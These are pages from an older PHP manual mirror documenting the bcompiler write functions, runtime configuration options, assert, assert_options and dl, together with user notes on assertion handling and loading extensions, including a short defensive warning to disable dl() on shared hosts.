add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_parse_class | 上一级 | bcompiler_write_class


bcompiler_write_class

(PECL)

bcompiler_write_class -- Writes an defined class as bytecodes

Description

bool bcompiler_write_class ( resource filehandle, string className [, string extends] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This reads the bytecodes from PHP for an existing class, and writes them to the open file handle, It does not perform dependency checking, so make sure you write the classes in an order that will not result in an 'undefined class' occurring when you load it.

例子 1. bcompiler_write_class() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
// you must write DB_common before DB_mysql, as DB_mysql extends DB_common.
bcompiler_write_class($fh,"DB_common");
bcompiler_write_class($fh,"DB_mysql");
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_header(), and bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_read | 上一级 | bcompiler_write_constant


bcompiler_write_constant

(PECL)

bcompiler_write_constant -- Writes a defined constant as bytecodes

Description

bool bcompiler_write_constant ( resource filehandle, string constantName )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This function reads the bytecodes from PHP for an existing constant, and writes them to the open file handle.

例子 1. bcompiler_write_constant() example

<?php
define("MODULE_MAX", 30);

$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_constant($fh,"MODULE_MAX");
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_header(), and bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_class | 上一级 | bcompiler_write_exe_footer


bcompiler_write_exe_footer

(PECL)

bcompiler_write_exe_footer -- Writes the start pos, and sig to the end of a exe type file

Description

bool bcompiler_write_exe_footer ( resource filehandle, int startpos )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

An EXE (or self executable) file consists of 3 parts,

The stub (executable code, e.g. a compiled C program) that loads PHP interpreter, bcompiler extension, stored Bytecodes and initiates a call for the specified function (e.g. main) or class method (e.g. main::main)
The Bytecodes (uncompressed only for the moment)
The bcompiler EXE footer

The startpos is the file position at which the Bytecodes start, and can be obtained using ftell($fh).

To obtain a suitable stub you can compile php_embed-based stub phpe.c located in the examples/embed directory on bcompiler's CVS.

例子 1. bcompiler_write_footer() example

<?php
/* creating the output file (example.exe) */
$fh = fopen("example.exe", "w");
/* 1) writing a stub (phpe.exe) */
$size = filesize("phpe.exe");
$fr = fopen("phpe.exe", "r");
fwrite($fh, fread($fr, $size), $size);
$startpos = ftell($fh);
/* 2) writing bytecodes */
bcompiler_write_header($fh);
bcompiler_write_class($fh, "myclass");
bcompiler_write_function($fh, "main");
bcompiler_write_footer($fh);
/* 3) writing EXE footer */
bcompiler_write_exe_footer($fh, $startpos);
/* closing the output file */
fclose($fh);
?>

See also bcompiler_write_header(),
bcompiler_write_class(), and
bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_constant | 上一级 | bcompiler_write_file


bcompiler_write_file

(PECL)

bcompiler_write_file -- Writes a php source file as bytecodes

Description

bool bcompiler_write_file ( resource filehandle, string filename )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This function complies specified source file into bytecodes, and writes them to the open file handle.

例子 1. bcompiler_write_file() example

<?php
$fh = fopen("example.phb", "w");
bcompiler_write_header($fh);
bcompiler_write_file($fh, "example.php");
bcompiler_write_footer($fh);
fclose($fh);
/* the following should be equivalent:
include "example.php";
   and
include "example.phb";
*/
?>

See also bcompiler_write_header(), and bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_exe_footer | 上一级 | bcompiler_write_footer


bcompiler_write_footer

(PECL)

bcompiler_write_footer -- Writes the single character \x00 to indicate End of compiled data

Description

bool bcompiler_write_footer ( resource filehandle )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Writes the single character \x00 to indicate End of compiled data.

例子 1. bcompiler_write_footer() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_class($fh,"DB_common");
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_header(), and bcompiler_write_header().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_file | 上一级 | bcompiler_write_function


bcompiler_write_function

(PECL)

bcompiler_write_function -- Writes an defined function as bytecodes

Description

bool bcompiler_write_function ( resource filehandle, string functionName )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This reads the bytecodes from PHP for an existing function, and writes them to the open file handle. Order is not important, (eg. if function b uses function a, and you compile it like the example below, it will work perfectly OK).

例子 1. bcompiler_write_function() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_function($fh,"my_function_a");
bcompiler_write_function($fh,"my_function_b");
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_header(), and bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_footer | 上一级 | bcompiler_write_functions_from_file


bcompiler_write_functions_from_file

(PECL)

bcompiler_write_functions_from_file -- Writes all functions defined in a file as bytecodes

Description

bool bcompiler_write_functions_from_file ( resource filehandle, string fileName )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

This function searches for all functions declared in the given file, and writes their correspondent bytecodes to the open file handle. Always remember to include/require the file you intend to compile.

例子 1. bcompiler_write_functions_from_file() example

<?php
require('module.php');

$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_functions_from_file($fh,'module.php');
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_header(), and bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_function | 上一级 | bcompiler_write_header


bcompiler_write_header

(PECL)

bcompiler_write_header -- Writes the bcompiler header

Description

bool bcompiler_write_header ( resource filehandle [, string write_ver] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

Writes the header part of a bcompiler file. Optional second parameter can be used to write bytecode in a previously used format, so that you can use it with older versions of bcompiler.

例子 1. bcompiler_write_header() example

<?php
$fh = fopen("/tmp/example","w");
bcompiler_write_header($fh);
bcompiler_write_class($fh,"DB");
bcompiler_write_footer($fh);
fclose($fh);

?>

See also bcompiler_write_file(),
bcompiler_write_class(),
bcompiler_write_function(), and
bcompiler_write_footer().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
bcompiler_write_functions_from_file | 上一级 | PHP Options&Information


PHP Options&Information

PHP 手册
后退 前进

CIX. PHP Options&Information

简介

This functions enable you to get a lot of information about PHP itself, e.g. runtime configuration, loaded extensions, version and much more. You'll also find functions to set options for your running PHP. The probably best known function of PHP - phpinfo() - can be found here.

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. PHP Options/Inf Configuration Options

Name | Default | Changeable | Changelog
assert.active | "1" | PHP_INI_ALL |
assert.bail | "0" | PHP_INI_ALL |
assert.warning | "1" | PHP_INI_ALL |
assert.callback | NULL | PHP_INI_ALL |
assert.quiet_eval | "0" | PHP_INI_ALL |
enable_dl | "1" | PHP_INI_SYSTEM |
max_execution_time | "30" | PHP_INI_ALL |
max_input_time | "-1" | PHP_INI_PERDIR | Available since PHP 4.3.0.
magic_quotes_gpc | "1" | PHP_INI_PERDIR | PHP_INI_ALL in PHP <= 4.2.3.
magic_quotes_runtime | "0" | PHP_INI_ALL |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

assert.active boolean

Enable assert() evaluation.

assert.bail boolean

Terminate script execution on failed assertions.

assert.warning boolean

Issue a PHP warning for each failed assertion.

assert.callback string

user function to call on failed assertions

assert.quiet_eval boolean

Use the current setting of error_reporting() during assertion expression evaluation. If enabled, no errors are shown (implicit error_reporting(0)) while evaluation. If disabled, errors are shown according to the settings of error_reporting()

enable_dl boolean

This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory.

The main reason for turning dynamic loading off is security. With dynamic loading, it's possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using 安全模式. In 安全模式, it's always impossible to use dl().

max_execution_time integer

This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30.

The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details.

You can not change this setting with ini_set() when running in 安全模式. The only workaround is to turn off safe mode or by changing the time limit in the php.ini.

Your webserver can have other timeouts. E.g. Apache has Timeout directive, IIS has CGI timeout function, both default to 300 seconds. See the webserver documentation for meaning of it.

max_input_time integer

This sets the maximum time in seconds a script is allowed to receive input data, like POST, GET and file uploads.

magic_quotes_gpc boolean

Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically.

注: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as ''. Double quotes, backslashes and NUL's will remain untouched and unescaped.

See also get_magic_quotes_gpc()

magic_quotes_runtime boolean

If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash.

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量作为 PHP 核心的一部分一直有效。

表格 2. Pre-defined phpcredits() constants

Constant | Value | Description
CREDITS_GROUP | 1 | A list of the core developers
CREDITS_GENERAL | 2 | General credits: Language design and concept, PHP authors and SAPI module.
CREDITS_SAPI | 4 | A list of the server API modules for PHP, and their authors.
CREDITS_MODULES | 8 | A list of the extension modules for PHP, and their authors.
CREDITS_DOCS | 16 | The credits for the documentation team.
CREDITS_FULLPAGE | 32 | Usually used in combination with the other flags. Indicates that a complete stand-alone HTML page needs to be printed including the information indicated by the other flags.
CREDITS_QA | 64 | The credits for the quality assurance team.
CREDITS_ALL | -1 | All the credits, equivalent to using: CREDITS_DOCS + CREDITS_GENERAL + CREDITS_GROUP + CREDITS_MODULES + CREDITS_QA CREDITS_FULLPAGE. It generates a complete stand-alone HTML page with the appropriate tags. This is the default value.

表格 3. phpinfo() constants

Constant | Value | Description
INFO_GENERAL | 1 | The configuration line, php.ini location, build date, Web Server, System and more.
INFO_CREDITS | 2 | PHP Credits. See also phpcredits().
INFO_CONFIGURATION | 4 | Current Local and Master values for PHP directives. See also ini_get().
INFO_MODULES | 8 | Loaded modules and their respective settings.
INFO_ENVIRONMENT | 16 | Environment Variable information that's also available in $_ENV.
INFO_VARIABLES | 32 | Shows all predefined variables from EGPCS (Environment, GET, POST, Cookie, Server).
INFO_LICENSE | 64 | PHP License information. See also the license faq.
INFO_ALL | -1 | Shows all of the above. This is the default value.

ASSERT_ACTIVE (integer)

ASSERT_CALLBACK (integer)

ASSERT_BAIL (integer)

ASSERT_WARNING (integer)

ASSERT_QUIET_EVAL (integer)

目录
assert_options -- Set/get the various assert flags
assert -- Checks if assertion is FALSE
dl -- Loads a PHP extension at runtime
extension_loaded -- Find out whether an extension is loaded
get_cfg_var -- Gets the value of a PHP configuration option
get_current_user -- Gets the name of the owner of the current PHP script
get_defined_constants -- Returns an associative array with the names of all the constants and their values
get_extension_funcs -- Returns an array with the names of the functions of a module
get_include_path -- Gets the current include_path configuration option
get_included_files -- Returns an array with the names of included or required files
get_loaded_extensions -- Returns an array with the names of all modules compiled and loaded
get_magic_quotes_gpc -- Gets the current configuration setting of magic quotes gpc
get_magic_quotes_runtime -- Gets the current active configuration setting of magic_quotes_runtime
get_required_files -- 别名 get_included_files()
getenv -- Gets the value of an environment variable
getlastmod -- Gets time of last page modification
getmygid -- Get PHP script owner's GID
getmyinode -- Gets the inode of the current script
getmypid -- Gets PHP's process ID
getmyuid -- Gets PHP script owner's UID
getopt -- Gets options from the command line argument list
getrusage -- Gets the current resource usages
ini_alter -- 别名 ini_set()
ini_get_all -- Gets all configuration options
ini_get -- Gets the value of a configuration option
ini_restore -- Restores the value of a configuration option
ini_set -- Sets the value of a configuration option
main -- Dummy for main()
memory_get_usage -- Returns the amount of memory allocated to PHP
php_ini_scanned_files -- Return a list of .ini files parsed from the additional ini dir
php_logo_guid -- Gets the logo guid
php_sapi_name -- Returns the type of interface between web server and PHP
php_uname -- Returns information about the operating system PHP is running on
phpcredits -- Prints out the credits for PHP
phpinfo -- Outputs lots of PHP information
phpversion -- Gets the current PHP version
putenv -- Sets the value of an environment variable
restore_include_path -- Restores the value of the include_path configuration option
set_include_path -- Sets the include_path configuration option
set_magic_quotes_runtime -- Sets the current active configuration setting of magic_quotes_runtime
set_time_limit -- Limits the maximum execution time
version_compare -- Compares two "PHP-standardized" version number strings
zend_logo_guid -- Gets the Zend guid
zend_version -- Gets the version of the current Zend engine

add a note add a note User Contributed Notes
gilthansNOSPAAM at gmailSPAAMBLOCK dot com
16-Mar-2005 09:04
Note: when magic_quotes_gpc is ON, it will also slash values inside both $_SERVER['QUERY_STRING'] and $_SERVER['SCRIPT_NAME'] (and equivalents) will also be slashed.
Mark
15-Jun-2004 08:37
You probably don't want to set "magic_quotes_runtime" because it affects even binary file read/write operations. This is especially problematic if you include someone else's library that depends on binary read/write. If you enable "magic_quotes_runtime", be sure to use set_magic_quotes_runtime() function call to disable it before calling someone else's library that does binary read/write.
add a note add a note

后退 | 起点 | 前进
bcompiler_write_header | 上一级 | assert_options


assert_options

(PHP 4, PHP 5)

assert_options -- Set/get the various assert flags

Description

mixed assert_options ( int what [, mixed value] )

Using assert_options() you may set the various assert() control options or just query their current settings.

表格 1. Assert Options

option | ini-parameter | default | description
ASSERT_ACTIVE | assert.active | 1 | enable assert() evaluation
ASSERT_WARNING | assert.warning | 1 | issue a PHP warning for each failed assertion
ASSERT_BAIL | assert.bail | 0 | terminate execution on failed assertions
ASSERT_QUIET_EVAL | assert.quiet_eval | 0 | disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK | assert.callback | (NULL) | user function to call on failed assertions

assert_options() will return the original setting of any option or FALSE on errors.

add a note add a note User Contributed Notes
Frdric Bouchery
21-Jul-2003 07:25
Here is an exemple how to use the assertion callback function :

<?php
  assert_options( ASSERT_CALLBACK, 'assert_callback');

  function assert_callback( $script, $line, $message ) {
   echo 'You have a design error in your script <b>', $script,'</b> : line <b>', $line,'</b> :<br />';
   echo '<b>', ereg_replace( '^.*//\*', '', $message ), '</b><br /><br />';
   echo 'Open the source file and check it, because it\'s not a normal behaviour !';
   exit;
  }

  $x = 3;
  assert('is_integer( $x ) && ($x >= 0) && ($x <= 10); //* $x must be an integer value from 0 to 10' );
  echo "0 <= $x <= 10";
?>

assertion is usefull for "design by contract" methodology ...
add a note add a note

后退 | 起点 | 前进
PHP Options&Information | 上一级 | assert


assert

(PHP 4, PHP 5)

assert -- Checks if assertion is FALSE

Description

bool assert ( mixed assertion )

assert() will check the given assertion and take appropriate action if its result is FALSE.

If the assertion is given as a string it will be evaluated as PHP code by assert(). The advantages of a string assertion are less overhead when assertion checking is off and messages containing the assertion expression when an assertion fails. This means that if you pass a boolean condition as assertion this condition will not show up as parameter to the assertion function which you may have defined with the assert_options() function, the condition is converted to a string before calling that handler function, and the boolean FALSE is converted as the empty string.

Assertions should be used as a debugging feature only. You may use them for sanity-checks that test for conditions that should always be TRUE and that indicate some programming errors if not or to check for the presence of certain features like extension functions or certain system limits and features.

Assertions should not be used for normal runtime operations like input parameter checks. As a rule of thumb your code should always be able to work correctly if assertion checking is not activated.

The behavior of assert() may be configured by assert_options() or by .ini-settings described in that functions manual page.

The assert_options() function and/or ASSERT_CALLBACK configuration directive allow a callback function to be set to handle failed assertions.

assert() callbacks are particularly useful for building automated test suites because they allow you to easily capture the code passed to the assertion, along with information on where the assertion was made. While this information can be captured via other methods, using assertions makes it much faster and easier!

The callback function should accept three arguments. The first argument will contain the file the assertion failed in. The second argument will contain the line the assertion failed on and the third argument will contain the expression that failed (if any - literal values such as 1 or "two" will not be passed via this argument)

例子 1. Handle a failed assertion with a custom handler

<?php
// Active assert and make it quiet
assert_options(ASSERT_ACTIVE, 1);
assert_options(ASSERT_WARNING, 0);
assert_options(ASSERT_QUIET_EVAL, 1);

// Create a handler function
function my_assert_handler($file, $line, $code)
{
    echo "<hr>Assertion Failed:
        File '$file'<br />
        Line '$line'<br />
        Code '$code'<br /><hr />";
}

// Set up the callback
assert_options(ASSERT_CALLBACK, 'my_assert_handler');

// Make an assertion that should fail
assert('mysql_query("")');
?>

add a note add a note User Contributed Notes
gk at proliberty dot com
27-Aug-2005 10:35
If you expect your code to be able to work well with other code, then you should not make any assumptions about the current state of assert_options() flags, prior to calling assert(): other code may disable ASSERT_ACTIVE, without you knowing it - this would render assert() useless!

To avoid this, ALWAYS set assert_options() IMMEDIATELY before calling assert(), per the C++ paradigm for assertion usage:

In one C++ source file, you can define and undefine NDEBUG multiple times, each time followed by #include <cassert>, to enable or disable the assert macro multiple times in the same source file.

Here is how I workaround this issue in my PHP code:

//////////////////////////////////////////////////////////////////////
/// phpxAssertHandler_f
//////////////////////////////////////////////////////////////////////
/**
 * @desc    Handler which also sets up assert options if not being called as handler
                 Always fatal when assertion fails
                 Always make sure assertion is enabled
                 Cannot depend on other code not using assert or using its own assert handler!
           USAGE:
           // customize error level of assertion (php assert_options() only allows E_WARNING or nothing at all):
               phpxAssertHandler_f(E_USER_NOTICE);
           // control assertion active state: not dependent on anything another piece of code might do with ASSERT_ACTIVE
               $GLOBALS['MY_ASSERT_ACTIVE']=false;
               phpxAssertHandler_f(E_USER_NOTICE,$GLOBALS['MY_ASSERT_ACTIVE']);
           // use alternate assertion callback function:
           // NOTE: pass null as custom options parameter to use default options
           // NOTE: pass no values for assert options parameter array elements to use default options
               $GLOBALS['MY_ASSERT_ACTIVE']=false;
               $GLOBALS['MY_ASSERT_CALLBACK']='myAssertCallback';
               phpxAssertHandler_f(
                   null,
                   array(
                       0=>$GLOBALS['MY_ASSERT_ACTIVE'],
                       3=>$GLOBALS['MY_ASSERT_CALLBACK'],
                   )
               );

 * @param  mixed = file or options
 * @param  line
 * @param  code
 * @return  void
 */
function phpxAssertHandler_f($file_or_custom_options=null, $line_or_assert_options=null, $code=null){

   static $custom_options;
   $debug = false;

   if (is_null($code)){
       // set default assert_options
       $assert_options[]=1;//ASSERT_ACTIVE
       $assert_options[]=0;//ASSERT_WARNING -
       $assert_options[]=0;//ASSERT_QUIET_EVAL
       $assert_options[]=__FUNCTION__;//ASSERT_CALLBACK

       // set default custom_options
       $custom_options[]=E_USER_ERROR;// error level

       if (!is_null($line_or_assert_options)){
           // assert_options are passed in
           if (!is_array($line_or_assert_options)){
               $line_or_assert_options=array($line_or_assert_options);
           }
           foreach ($line_or_assert_options as $i=>$assert_option){
               if ($assert_option===true) $assert_option=1;
               if ($assert_option===false) $assert_option=0;
               $assert_options[$i]=$assert_option;
               if($debug) echo ("assert_options[$i]=$assert_option\n");
           }
       }

       if (!is_null($file_or_custom_options)){
           // custom_options are passed in
           if (!is_array($file_or_custom_options)){
               $file_or_custom_options=array($file_or_custom_options);
           }
           foreach ($file_or_custom_options as $i=>$custom_option){
               if ($custom_option===true) $custom_option=1;
               if ($custom_option===false) $custom_option=0;
               $custom_options[$i]=$custom_option;
               if($debug) echo ("custom_options[$i]=$custom_option\n");
           }
       }

       // set assert options
       @assert_options (ASSERT_ACTIVE, $assert_options[0]);
       @assert_options (ASSERT_WARNING, $assert_options[1]);
       @assert_options (ASSERT_QUIET_EVAL, $assert_options[2]);
       @assert_options (ASSERT_CALLBACK, $assert_options[3]);

   } else {
   // we are acting as a callback function
       $file = $file_or_custom_options;
       $line = $line_or_assert_options;
       $msg="ASSERTION FAILED: $code";
       phpxErrorHandler_f ($custom_options[0],$msg,$file,$line);
   }
}//phpxAssertHandler_f()
Thomas
28-Mar-2005 11:56
Another very good unit testing framework is SimpleTest, which can be found at http://www.lastcraft.com/simple_test.php

It has very good documentation, support for mock objects and tools for automating testing of entire web sites.
nyk at forumone dot com
27-Aug-2002 09:56
Assertion is a useful debugging feature, but for building unit tests and automated regression tests you should seriously consider using the PHPtest in the PEAR archive (http://pear.php.net/package-info.php?pacid=38) that is based on the JUnit framework for Java. There is also another unit testing framework, also based on JUnit and also called PHPunit on SourceForge (http://sourceforge.net/projects/phpunit/). I believe it is an independent effort from that on PEAR.
add a note add a note

后退 | 起点 | 前进
assert_options | 上一级 | dl


dl

(PHP 3, PHP 4, PHP 5)

dl -- Loads a PHP extension at runtime

Description

int dl ( string library )

Loads the PHP extension given by the parameter library. The library parameter is only the filename of the extension to load which also depends on your platform. For example, the sockets extension (if compiled as a shared module, not the default!) would be called sockets.so on Unix platforms whereas it is called php_sockets.dll on the Windows platform.

如果成功则返回 TRUE，失败则返回 FALSE。 If the functionality of loading modules is not available (see Note) or has been disabled (either by turning it off enable_dl or by enabling 安全模式 in php.ini) an E_ERROR is emitted and execution is stopped. If dl() fails because the specified library couldn't be loaded, in addition to FALSE an E_WARNING message is emitted.

Use extension_loaded() to test whether a given extension is already available or not. This works on both built-in extensions and dynamically loaded ones (either through php.ini or dl()).

The dl() function is deprecated as of PHP 5. Use Extension Loading Directives method instead.

例子 1. dl() examples

<?php
// Example loading an extension based on OS
if (!extension_loaded('sqlite')) {
    if (strtoupper(substr(PHP_OS, 0, 3) == 'WIN')) {
        dl('php_sqlite.dll');
    } else {
        dl('sqlite.so');
    }
}

// Or, the PHP_SHLIB_SUFFIX constant is available as of PHP 4.3.0
if (!extension_loaded('sqlite')) {
    $prefix = (PHP_SHLIB_SUFFIX == 'dll') ? 'php_' : '';
    dl($prefix . 'sqlite.' . PHP_SHLIB_SUFFIX);
}
?>

The directory where the extension is loaded from depends on your platform:

Windows - If not explicitly set in the php.ini, the extension is loaded from c:\php4\extensions\ by default.

Unix - If not explicitly set in the php.ini, the default extension directory depends on

  • whether PHP has been built with --enable-debug or not

  • whether PHP has been built with (experimental) ZTS (Zend Thread Safety) support or not

  • the current internal ZEND_MODULE_API_NO (Zend internal module API number, which is basically the date on which a major module API change happened, e.g. 20010901)

Taking into account the above, the directory then defaults to <install-dir>/lib/php/extensions/ <debug-or-not>-<zts-or-not>-ZEND_MODULE_API_NO, e.g. /usr/local/php/lib/php/extensions/debug-non-zts-20010901 or /usr/local/php/lib/php/extensions/no-debug-zts-20010901.

注: dl() is not supported in multithreaded Web servers. Use the extensions statement in your php.ini when operating under such an environment. However, the CGI and CLI build are not affected !

注: dl() is case sensitive on Unix platforms.

注: 本函数在安全模式下被禁用。

See also Extension Loading Directives and extension_loaded().

add a note add a note User Contributed Notes
docey
31-Dec-2005 01:37
just some note to loading modules, they do not have to
be executable.

some examples below check for this but if an module is
not executable is does not mean you cant use it. it just
needs to be readable NOT executable.

although some modules might need this perhaps for some
reason i cannot think of, so here an example,

// fails to load mysql although it could be loaded.
if(is_executable("mysql.so")){
 dl("mysql.so");
}

// loads mysql
if(is_readable("mysql.so")){
 dl("mysql.so");
}

watch out with this, as you can see mysql.so would not be
loaded and the script would fail. because its checked for
executable permissions although these are not needed.
mag_2000 at front dot ru
07-Dec-2005 03:13
<?php

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

?>
james at gogo dot co dot nz
19-Jul-2005 07:30
WARNING: enable_dl/dl()
*********************

There is an exploit circulating currently which takes advantage of dl() to inject code into Apache which causes all requests to all virtual hosts to be redirected to a page of the attackers choice.

All operators of shared web hosting servers with Apache and PHP should disable dl() by setting enable_dl to off otherwise your servers are vulnerable to this exploit.

This exploit is generally known as flame.so (the object that is loaded into Apache) and flame.php (the php script that loads it).

Google gives more information:
http://www.google.co.nz/search?q=flame.so+flame.php
nutbar at innocent dot com
19-Mar-2004 05:22
For those who are tearing their hair out due to the extension_dir being set to "./", here's a somewhat graceful fix that will be portable:

dl(preg_replace('/\/([^\/]+)/', '../', dirname(__FILE__)) . __FILE__ . '/../some/path/dll.so');

You could alternatively make that preg_replace part into a separate function and call it something like dirname_rel() or whatever.  It basically replaces all the path components with ".." and spits out a relative path, so that when mixed with the "./" part of the extension_dir setting, it puts you at the root folder "/" so that you know where you are :)
endofyourself at yahoo dot com
18-Oct-2003 07:12
If you need to load an extension from the CURRENT local directory because you do not have privelages to place the extension in your servers PHP extensions directory, this function i wrote may be of use to you

---------------
/*
   Function: dl_local()
   Reference: http://us2.php.net/manual/en/function.dl.php
   Author: Brendon Crawford <endofyourself |AT| yahoo>
   Usage: dl_local( "mylib.so" );
   Returns: Extension Name (NOT the extension filename however)
   NOTE:
       This function can be used when you need to load a PHP extension (module,shared object,etc..),
       but you do not have sufficient privelages to place the extension in the proper directory where it can be loaded. This function
       will load the extension from the CURRENT WORKING DIRECTORY only.
       If you need to see which functions are available within a certain extension,
       use "get_extension_funcs()". Documentation for this can be found at
       "http://us2.php.net/manual/en/function.get-extension-funcs.php".
*/

function dl_local( $extensionFile ) {
   //make sure that we are ABLE to load libraries
   if( !(bool)ini_get( "enable_dl" ) || (bool)ini_get( "safe_mode" ) ) {
     die( "dh_local(): Loading extensions is not permitted.\n" );
   }

     //check to make sure the file exists
   if( !file_exists( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' does not exist.\n" );
   }

   //check the file permissions
   if( !is_executable( $extensionFile ) ) {
     die( "dl_local(): File '$extensionFile' is not executable.\n" );
   }

 //we figure out the path
 $currentDir = getcwd() . "/";
 $currentExtPath = ini_get( "extension_dir" );
 $subDirs = preg_match_all( "/\//" , $currentExtPath , $matches );
 unset( $matches );

     //lets make sure we extracted a valid extension path
   if( !(bool)$subDirs ) {
     die( "dl_local(): Could not determine a valid extension path [extension_dir].\n" );
   }

 $extPathLastChar = strlen( $currentExtPath ) - 1;

   if( $extPathLastChar == strrpos( $currentExtPath , "/" ) ) {
     $subDirs--;
   }

 $backDirStr = "";
     for( $i = 1; $i <= $subDirs; $i++ ) {
     $backDirStr .= "..";
       if( $i != $subDirs ) {
         $backDirStr .= "/";
       }
   }

 //construct the final path to load
 $finalExtPath = $backDirStr . $currentDir . $extensionFile;

   //now we execute dl() to actually load the module
     if( !dl( $finalExtPath ) ) {
     die();
   }

 //if the module was loaded correctly, we must bow grab the module name
 $loadedExtensions = get_loaded_extensions();
 $thisExtName = $loadedExtensions[ sizeof( $loadedExtensions ) - 1 ];

 //lastly, we return the extension name
  return $thisExtName;

}//end dl_local()

-------------------------
tychay at php dot net
06-Jul-2003 11:15
Alan isn't 100% correct (though he's close). The exception is Mac OS X. This operating system makes a distinction between dynamically loadable shared libraries and and loadable modules of code (bundles). The former has an extension .dylib and the latter has an extension .so. The former is in Mac-O and the latter is in ELF.

Thus PHP's extensions are built as .so whereas the symbol PHP_SHLIB_SUFFIX is bound (currently) to .dylib. I don't think this is the correct behavior, but nonetheless, it is the behavior as of PHP-5.0.0b2-dev. Right now, the config binds to SHLIB_SUFFIX_NAME (which is correctly bound to .dylib on Mac OS X). I imagine this is related to why there is so much trouble getting dl() to work on Mac OS X. (For instance, I have no trouble phpizing in a new shared library, but when compiling in stuff as shared... much evilness!)

